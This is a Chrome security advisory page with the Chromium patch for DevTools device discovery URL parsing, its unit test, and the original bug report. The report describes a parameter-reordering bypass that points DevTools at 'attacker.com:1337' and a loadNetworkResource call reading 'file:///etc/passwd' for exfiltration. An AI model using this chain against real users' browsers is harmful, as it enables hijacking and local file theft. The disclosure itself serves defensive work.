CVE-2026-8018
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/browser/devtools/device/devtools_device_discovery.cc |
modified | |
DiscoveryRequestchrome/browser/devtools/device/devtools_device_discovery.h |
modified | |
TESTchrome/browser/devtools/device/devtools_device_discovery_unittest.cc |
modified |
Files Changed
chrome/browser/devtools/device/devtools_device_discovery.ccchrome/browser/devtools/device/devtools_device_discovery.hchrome/browser/devtools/device/devtools_device_discovery_unittest.cc
Patch
From f0e52607f4916d593e513df5e89347faa0e12d46 Mon Sep 17 00:00:00 2001 From: Danil Somsikov <[email protected]> Date: Thu, 02 Apr 2026 05:42:22 -0700 Subject: [PATCH] Make DevTools frontend URL parsing in device discovery more robust Use `GURL` and `net::QueryIterator` instead of naive string searches. The previous implementation relied on `std::string::find("?ws")`, which was unreliable for complex query strings. Bug: 498292657 Change-Id: I29dff479d013461098c1342aa4b2c72896349c35 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7722383 Commit-Queue: Danil Somsikov <[email protected]> Auto-Submit: Danil Somsikov <[email protected]> Reviewed-by: Alex Rudenko <[email protected]> Cr-Commit-Position: refs/heads/main@{#1609136} --- diff --git a/chrome/browser/devtools/device/devtools_device_discovery.cc b/chrome/browser/devtools/device/devtools_device_discovery.cc index ea1ad77..8e4b48f 100644 --- a/chrome/browser/devtools/device/devtools_device_discovery.cc +++ b/chrome/browser/devtools/device/devtools_device_discovery.cc @@ -26,6 +26,8 @@ #include "content/public/browser/devtools_agent_host.h" #include "content/public/browser/devtools_external_agent_proxy.h" #include "content/public/browser/devtools_external_agent_proxy_delegate.h" +#include "net/base/url_util.h" +#include "url/gurl.h" using content::BrowserThread; using content::DevToolsAgentHost; @@ -217,22 +219,6 @@ GetStringProperty(value, "id").c_str()); } -static std::string GetFrontendURLFromValue(const base::DictValue& value, - const std::string& browser_version) { - std::string frontend_url = GetStringProperty(value, "devtoolsFrontendUrl"); - size_t ws_param = frontend_url.find("?ws"); - if (ws_param != std::string::npos) { - frontend_url = frontend_url.substr(0, ws_param); - } - if (base::StartsWith(frontend_url, "http:", base::CompareCase::SENSITIVE)) { - frontend_url = "https:" + frontend_url.substr(5); - } - if (!browser_version.empty()) { - frontend_url += "?remoteVersion=" + browser_version; - } - return frontend_url; -} - static std::string GetTargetPath(const base::DictValue& value) { std::string target_path = GetStringProperty(value, "webSocketDebuggerUrl"); @@ -287,7 +273,9 @@ target_path_(target_path), remote_type_(type), remote_id_(value ? GetStringProperty(*value, "id") : ""), - frontend_url_(value ? GetFrontendURLFromValue(*value, browser_version) + frontend_url_(value ? DevToolsDeviceDiscovery::GetFrontendURLFromValue( + *value, + browser_version) : ""), title_(value ? base::UTF16ToUTF8(base::UnescapeForHTML( base::UTF8ToUTF16(GetStringProperty(*value, "title")))) @@ -674,6 +662,72 @@ } // static +std::string DevToolsDeviceDiscovery::GetFrontendURLFromValue( + const base::DictValue& value, + const std::string& browser_version) { + const std::string* result = value.FindString("devtoolsFrontendUrl"); + std::string frontend_url_str = result ? *result : std::string(); + if (frontend_url_str.empty()) { + return std::string(); + } + + GURL frontend_url; + bool is_relative = + base::StartsWith(frontend_url_str, "/", base::CompareCase::SENSITIVE); + if (is_relative) { + frontend_url = GURL("https://dummy.test" + frontend_url_str); + } else { + frontend_url = GURL(frontend_url_str); + } + + if (!frontend_url.is_valid()) { + return frontend_url_str; + } + + // Convert http to https for absolute URLs. + if (!is_relative && frontend_url.SchemeIs(url::kHttpScheme)) { + GURL::Replacements replacements; + replacements.SetSchemeStr(url::kHttpsScheme); + frontend_url = frontend_url.ReplaceComponents(replacements); + } + + // Reconstruct the URL without query. + GURL::Replacements remove_query; + remove_query.ClearQuery(); + GURL new_url = frontend_url.ReplaceComponents(remove_query); + + // Filter "ws" and add others. + net::QueryIterator it(frontend_url); + while (!it.IsAtEnd()) { + if (it.GetKey() != "ws") { + new_url = net::AppendQueryParameter(new_url, it.GetKey(), + it.GetUnescapedValue()); + } + it.Advance(); + } + + // Add remoteVersion. + if (!browser_version.empty()) { + new_url = + net::AppendQueryParameter(new_url, "remoteVersion", browser_version); + } + + if (is_relative) { + std::string path_and_query(new_url.path()); + if (new_url.has_query()) { + path_and_query += "?"; + path_and_query += new_url.query(); + } + if (new_url.has_ref()) { + path_and_query += "#"; + path_and_query += new_url.ref(); + } + return path_and_query; + } + return new_url.spec(); +} + +// static scoped_refptr<content::DevToolsAgentHost> DevToolsDeviceDiscovery::CreateBrowserAgentHost( scoped_refptr<AndroidDeviceManager::Device> device, diff --git a/chrome/browser/devtools/device/devtools_device_discovery.h b/chrome/browser/devtools/device/devtools_device_discovery.h index 178953b..7b8513e 100644 --- a/chrome/browser/devtools/device/devtools_device_discovery.h +++ b/chrome/browser/devtools/device/devtools_device_discovery.h @@ -144,6 +144,10 @@ scoped_refptr<AndroidDeviceManager::Device> device, scoped_refptr<RemoteBrowser> browser); + static std::string GetFrontendURLFromValue( + const base::DictValue& value, + const std::string& browser_version); + private: class DiscoveryRequest; diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc new file mode 100644 index 0000000..92de1cf7 --- /dev/null +++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc @@ -0,0 +1,73 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "chrome/browser/devtools/device/devtools_device_discovery.h" + +#include "base/values.h" +#include "testing/gtest/include/gtest/gtest.h" + +TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) { + struct TestCase { + const char* input_url; + const char* browser_version; + const char* expected_url; + } test_cases[] = { + // Basic case: no ws parameter. + {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html", + "1.2.3.4", + "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html?remoteVersion=1.2.3.4"}, + // ws parameter at the end. + {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html?ws=127.0.0.1:9222/devtools/page/1", + "1.2.3.4", + "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html?remoteVersion=1.2.3.4"}, + // ws parameter in the middle. + {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d", + "1.2.3.4", + "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"}, + // http to https conversion. + {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html", + "1.2.3.4", + "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/" + "inspector.html?remoteVersion=1.2.3.4"}, + // Relative URL with ws. + {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4", + "/devtools/inspector.html?remoteVersion=1.2.3.4"}, + // Relative URL with other params. + {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d", + "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
Regression Test / PoC
diff --git a/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
new file mode 100644
index 0000000..92de1cf7
--- /dev/null
+++ b/chrome/browser/devtools/device/devtools_device_discovery_unittest.cc
@@ -0,0 +1,73 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/devtools/device/devtools_device_discovery.h"
+
+#include "base/values.h"
+#include "testing/gtest/include/gtest/gtest.h"
+
+TEST(DevToolsDeviceDiscoveryTest, GetFrontendURLFromValue) {
+ struct TestCase {
+ const char* input_url;
+ const char* browser_version;
+ const char* expected_url;
+ } test_cases[] = {
+ // Basic case: no ws parameter.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // ws parameter at the end.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?ws=127.0.0.1:9222/devtools/page/1",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // ws parameter in the middle.
+ {"https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+ // http to https conversion.
+ {"http://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html",
+ "1.2.3.4",
+ "https://chrome-devtools-frontend.appspot.com/serve_rev/@123/"
+ "inspector.html?remoteVersion=1.2.3.4"},
+ // Relative URL with ws.
+ {"/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/1", "1.2.3.4",
+ "/devtools/inspector.html?remoteVersion=1.2.3.4"},
+ // Relative URL with other params.
+ {"/devtools/inspector.html?a=b&ws=127.0.0.1:9222/devtools/page/1&c=d",
+ "1.2.3.4", "/devtools/inspector.html?a=b&c=d&remoteVersion=1.2.3.4"},
+ // Multiple ws parameters.
+ {"https://example.com/inspector.html?ws=1&ws=2&other=3", "1.2.3.4",
+ "https://example.com/inspector.html?other=3&remoteVersion=1.2.3.4"},
+ // Empty browser version.
+ {"https://example.com/inspector.html?ws=1", "",
+ "https://example.com/inspector.html"},
+ // No query part.
+ {"https://example.com/inspector.html", "",
+ "https://example.com/inspector.html"},
+ // Ref preservation.
+ {"https://example.com/inspector.html?ws=1#ref", "1.2.3.4",
+ "https://example.com/inspector.html?remoteVersion=1.2.3.4#ref"},
+ // Relative URL with ref.
+ {"/inspector.html?ws=1#ref", "1.2.3.4",
+ "/inspector.html?remoteVersion=1.2.3.4#ref"},
+ // Invalid URL (not relative, no scheme).
+ {"invalid_url?ws=1", "1.2.3.4", "invalid_url?ws=1"},
+ };
+
+ for (const auto& test_case : test_cases) {
+ base::DictValue value;
+ value.Set("devtoolsFrontendUrl", test_case.input_url);
+ std::string result = DevToolsDeviceDiscovery::GetFrontendURLFromValue(
+ value, test_case.browser_version);
+ EXPECT_EQ(test_case.expected_url, result)
+ << "For input: " << test_case.input_url;
+ }
+}
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 8452511..5d4c79b 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -8225,6 +8225,7 @@
"../browser/component_updater/soda_language_pack_component_installer_unittest.cc",
"../browser/component_updater/zxcvbn_data_component_installer_unittest.cc",
"../browser/devtools/device/android_device_manager_unittest.cc",
+ "../browser/devtools/device/devtools_device_discovery_unittest.cc",
"../browser/devtools/protocol/cast_handler_unittest.cc",
"../browser/devtools/serialize_host_descriptions_unittest.cc",
"../browser/download/download_commands_unittest.cc",
Original Bug Report
Sandbox escape via DevTools ws parameter filter bypass and arbitrary file read
Project Fortify, an experimental security project, has identified the following potential security issue.
Overview: A logic flaw in DevTools device discovery allows a malicious target to bypass the ws query parameter filter by simply reordering parameters. This allows an attacker to hijack the DevTools frontend WebSocket connection and achieve XSS in the privileged devtools:// origin. From there, the attacker can potentially read arbitrary local files using the unrestricted loadNetworkResource DevTools API.
Affected files:
chrome/browser/devtools/device/devtools_device_discovery.ccchrome/browser/devtools/devtools_ui_bindings.ccchrome/browser/ui/webui/devtools/devtools_ui_data_source.ccchrome/browser/ui/webui/devtools/devtools_ui.ccchrome/browser/devtools/devtools_window.cc
Estimated timestamp from git blame: 2023-05-08
Vulnerability Details
When discovering remote devices (e.g., via chrome://inspect#devices), Chrome parses the target’s devtoolsFrontendUrl. To prevent malicious targets from hijacking the DevTools session, Chrome attempts to strip the ws (WebSocket) parameter in GetFrontendURLFromValue (chrome/browser/devtools/device/devtools_device_discovery.cc).
However, the stripping logic uses a naive substring search:
size_t ws_param = frontend_url.find("?ws");
if (ws_param != std::string::npos) {
frontend_url = frontend_url.substr(0, ws_param);
}
An attacker can bypass this filter by ensuring ws is not the first query parameter. For example, supplying ?can_dock=true&ws=attacker.com causes find("?ws") to fail, retaining the malicious parameter.
Furthermore, if the attacker’s device omits the Browser field in its /json/version response, browser_version evaluates to empty. This prevents Chrome from appending ?remoteVersion= to the URL, keeping the attacker’s crafted query string exactly intact.
When Chrome converts this to a devtools:// URL, it checks it against DevToolsUIBindings::IsValidFrontendURL. This function sanitizes the URL and ensures it matches the original. Because can_dock and ws are both explicitly allowed parameters in SanitizeFrontendQueryParam and SanitizeEndpoint (as long as they don’t contain & or ?), the malicious URL passes validation. Finally, because the devtools:// CSP does not restrict connect-src, the frontend successfully connects to the attacker’s WebSocket.
Potential Exploitation Steps
(Note: These are suggested steps based on code analysis; our tooling agent does not have the ability to run live code to verify a full PoC.)
- Attacker Setup: The attacker sets up a malicious TCP target and tricks the victim into adding its IP/port in
chrome://inspect#devices. - Version Request: The target responds to Chrome’s
/json/versionrequest with a payload omitting theBrowserfield. - List Request: The target responds to
/json/listwith adevtoolsFrontendUrlpointing to an old, vulnerable DevTools revision on the Google CDN:https://chrome-devtools-frontend.appspot.com/serve_rev/@<vulnerable_revision>/inspector.html?can_dock=true&ws=attacker.com:1337/devtools/page/fake - Filter Bypass: Chrome fails to strip the
wsparameter and generates a validdevtools://URL. The user clicks “Inspect”. - WebSocket Hijack: The DevTools UI loads the specified vulnerable frontend and connects to
attacker.com:1337via WebSocket. - XSS: The attacker serves a malicious CDP response over the WebSocket that exploits a known XSS flaw in the old frontend revision, gaining JS execution in the
devtools://origin. - Sandbox Escape / File Read: The attacker’s JS executes the following embedder message:
In
DevToolsAPI.sendMessageToEmbedder('loadNetworkResource', ['file:///etc/passwd', '', 1], callback);DevToolsUIBindings::LoadNetworkResource, requests forfile://URLs are processed by creating aFileURLLoaderFactorywith an emptyprofile_path. On desktop platforms, this grants unrestricted read access to the local filesystem. The file contents are streamed back to the frontend and exfiltrated by the attacker.
Suggested Fix
- Robust URL Parsing: Update
GetFrontendURLFromValueindevtools_device_discovery.ccto use a proper URL/query parser (likeGURLornet::QueryIterator) to securely locate and remove thewsparameter, rather than relying on a naivestd::string::find("?ws")search. - Restrict Local File Access: Audit and restrict
DevToolsUIBindings::LoadNetworkResourceso that the DevTools frontend cannot arbitrarily loadfile://URLs using an unrestrictedFileURLLoaderFactory, unless the inspected target itself is afile://URL. - CSP Hardening: Consider tightening the
connect-srcCSP directive fordevtools://pages to strictly limit where WebSockets can connect.
Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33
Results from so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.